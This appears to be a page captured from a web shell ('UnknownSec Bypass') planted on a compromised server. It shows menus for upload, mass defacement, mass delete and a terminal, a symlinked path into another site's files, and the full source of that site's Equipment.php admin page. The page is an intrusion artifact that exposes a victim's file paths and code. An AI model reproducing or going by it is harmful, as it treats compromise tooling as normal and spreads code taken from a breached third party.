UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/
product_images
/
xryukz_sym
/
root
/
var
/
www
/
cotutilitydash
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
Equipment.php
<?php include "header.php"?> <?php include "sidemenu.php"?> <div id="page-wrapper"> <div class="col-md-12 graphs"> <div class="xs"> <h3>Manage Equipment</h3> <input type="hidden" class="form-control1" id="hdid" name="hdid"> <div class="well1 white"> <fieldset> <!-- <div class="form-group"> <div class="row"> <div class="col-md-6 grid_box1"> <label class="control-label">Select Area</label> <input type="text" class="form-control1" placeholder=".col-md-2"> </div> <div class="col-md-6"> <label class="control-label">Select Area</label> <input type="text" class="form-control1" placeholder=".col-md-10"> </div> <div class="clearfix"> </div> </div> </div> --> <div class="form-group"> <div class="row"> <div class="col-md-6 grid_box1"> <label class="control-label">Select Area</label> <select class="form-control1 ng-invalid ng-invalid-required" ng-model="model.select" required="" id="area" name="area"> </select> </div> <div class="col-md-6"> <label class="control-label">Equipment</label> <input type="text" id="equipment" name="equipment" class="form-control1 ng-invalid ng-invalid-required ng-touched" required=""> </div> <div class="clearfix"> </div> </div> </div> <!-- <div class="form-group filled"> <label class="control-label">Select Area</label> <select class="form-control1 ng-invalid ng-invalid-required" ng-model="model.select" required="" id="area" name="area"> </select> </div> <div class="form-group"> <label class="control-label">Sub Area Name</label> <input type="text" id="subarea" name="subarea" class="form-control1 ng-invalid ng-invalid-required ng-touched" required=""> </div> --> <!-- <div class="form-group"> <label class="control-label">Min. Consumption</label> <input type="text" id="mincon" name="mincon" class="form-control1 ng-invalid ng-invalid-required ng-touched" required=""> </div> <div class="form-group"> <label class="control-label">Max. Consumption</label> <input type="text" id="maxcon" name="maxcon" class="form-control1 ng-invalid ng-invalid-required ng-touched" required=""> </div> --> <div class="form-group"> <button type="submit" onclick="curdsubarea();" class="btn btn-primary" id="btnsave">SAVE</button> <button type="reset" class="btn btn-default" onclick="clearall();">Reset</button> </div> </fieldset> </div> <div class="bs-example4 tab-content" data-example-id="simple-responsive-table"> <h3>Equipment List</h3> <div class="table-responsive"> <?php $sql= "SELECT id,area,equipment,case when isdeleted=0 then 'ACTIVE' else 'DEACTIVE' end as status from mastertb where identifier='3' order by id DESC"; $result=mysqli_query($conn, $sql) or die("Query Failed."); if (mysqli_num_rows($result)>0) { ?> <table id="studtable" class="table table-striped table-bordered"> <thead> <tr> <th>No.</th> <!-- <th>ID</th> --> <th>Area Name</th> <th>Equipment</th> <th>Status</th> <th></th> <th></th> </tr> </thead> <tbody> <?php $serial= 1; while ($row = mysqli_fetch_assoc($result)) { ?> <tr> <td><?php echo $serial ?></td> <!-- <td><?php echo $row['id']; ?></td> --> <td> <?php echo $row['area']; ?> </td> <td> <?php echo $row['equipment']; ?> </td> <td> <?php echo $row['status']; ?> </td> <td align="center"> <a href="#" onclick="edit(<?php echo $row['id']; ?>);" style="corsor:pointer"><i class=" glyphicon glyphicon-pencil"></i></a> <a </td> <td align="center"> <a href="#" onclick="remove(<?php echo $row['id']; ?>);"><i class="glyphicon glyphicon-trash"></i></a> </td> </tr> <?php $serial++; } } ?> </tbody> </table> </div><!-- /.table-responsive --> </div> </div> <script> function getarea(val) { $.ajax({ type: "Post", url: "get_area.php", success: function(res) { var data = JSON.parse(res); var sel = $("#area"); sel.empty(); $("#area").append('<option>Select Area</option>'); for (var i = 0; i < data.length; i++) { if (data[i].tname == val) { sel.append('<option value="' + data[i].tname + '" selected=true>' + data[i] .tname + '</option>'); } else { sel.append('<option value="' + data[i].tname + '">' + data[i].tname + '</option>'); } } // $('#particular').editableSelect(); /// $("#state").html(data); } }); } $(document).ready(function() { getarea(""); checkpermission(); $("#studtable").DataTable({ bLengthChange: true, "iDisplayLength": 10, bInfo: false, responsive: true, "bAutoWidth": false }); }); function checkpermission() { var formname = "manage_subarea.php"; try { var urlgetcode = 'get_permissiondetails.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&formname=' + formname, dataType: 'json', async: true, cache: false, success: function(data) { var btntext = document.getElementById("btnsave").innerHTML; if (btntext == "SAVE") { if (data.add == 0) { $(btnsave).prop("disabled", true); alert( "You do not have permission to add area please contact to administrator" ); return; } else { $(btnsave).prop("disabled", false); } } else if (btntext == "UPDATE") { if (data.edit == 0) { $(btnsave).prop("disabled", true); alert( "You do not have permission to edit area please contact to administrator" ); return; } else { $(btnsave).prop("disabled", false); } } else if (btntext == "DEACTIVE") { if (data.delete == 0) { $(btnsave).prop("disabled", true); alert( "You do not have permission to deactive area please contact to administrator" ); return; } else { $(btnsave).prop("disabled", false); } } else if (btntext == "ACTIVE") { if (data.delete == 0) { $(btnsave).prop("disabled", true); alert( "You do not have permission to active area please contact to administrator" ); return; } else { $(btnsave).prop("disabled", false); } } }, error: function(request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } function clearall() { $('#hdid').val(""); $('#area').val("Select Area"); $('#equipment').val(""); document.getElementById("btnsave").innerHTML = "SAVE"; checkpermission(); } function remove(id) { var id = id; var identifier = 3; try { var urlgetcode = 'get_arealist.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&id=' + id + '&identifier=' + identifier, dataType: 'json', async: true, cache: false, success: function(data) { $('#hdid').val(data.parcode); $('#hdid').val(data.parcode); $('#area').val(data.parname); $('#equipment').val(data.equipment); if (data.status == 0) { document.getElementById("btnsave").innerHTML = "DEACTIVE"; } else { document.getElementById("btnsave").innerHTML = "ACTIVE"; } checkpermission(); }, error: function(request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } function edit(id) { var id = id; var identifier = 3; try { var urlgetcode = 'get_arealist.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&id=' + id + '&identifier=' + identifier, dataType: 'json', async: true, cache: false, success: function(data) { $('#hdid').val(data.parcode); getarea(data.parname); $('#equipment').val(data.equipment); document.getElementById("btnsave").innerHTML = "UPDATE"; checkpermission(); }, error: function(request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } function curdsubarea() { var flag = true; var inputField1 = document.getElementById("area"); if (inputField1.value == "Select Area") { flag = false; alert("Please select area."); document.getElementById("area").focus(); return false; } var inputField2 = document.getElementById("equipment"); if (inputField2.value == "") { flag = false; alert("Please enter equipment."); document.getElementById("equipment").focus(); return false; } var area = document.getElementById("area").value; var equipment = document.getElementById("equipment").value; var id = document.getElementById("hdid").value; var btnopration = document.getElementById("btnsave").innerHTML; var identifier = 3; try { if (flag == true) { var text = "Do you want to " + btnopration + " the subarea"; if (confirm(text) == false) { flag = false; return false; } var urlgetcode = 'mst_curd_equipment.php'; $.ajax({ method: 'POST', url: urlgetcode, data: ' &area=' + area + '&equipment=' + equipment + '&id=' + id + ' &btnopration=' + btnopration + '&identifier=' + identifier, dataType: 'json', async: true, cache: false, success: function(data) { alert(data); window.location.href = "Equipment.php"; $('#hdid').val(""); $('#area').val(""); $('#equipment').val(""); }, error: function(request) { alert(request.responseText); } }); } } catch (Error) { alert(Error); } return; } </script> <?php include "footer.php"?>
Copyright © 2025 - UnknownSec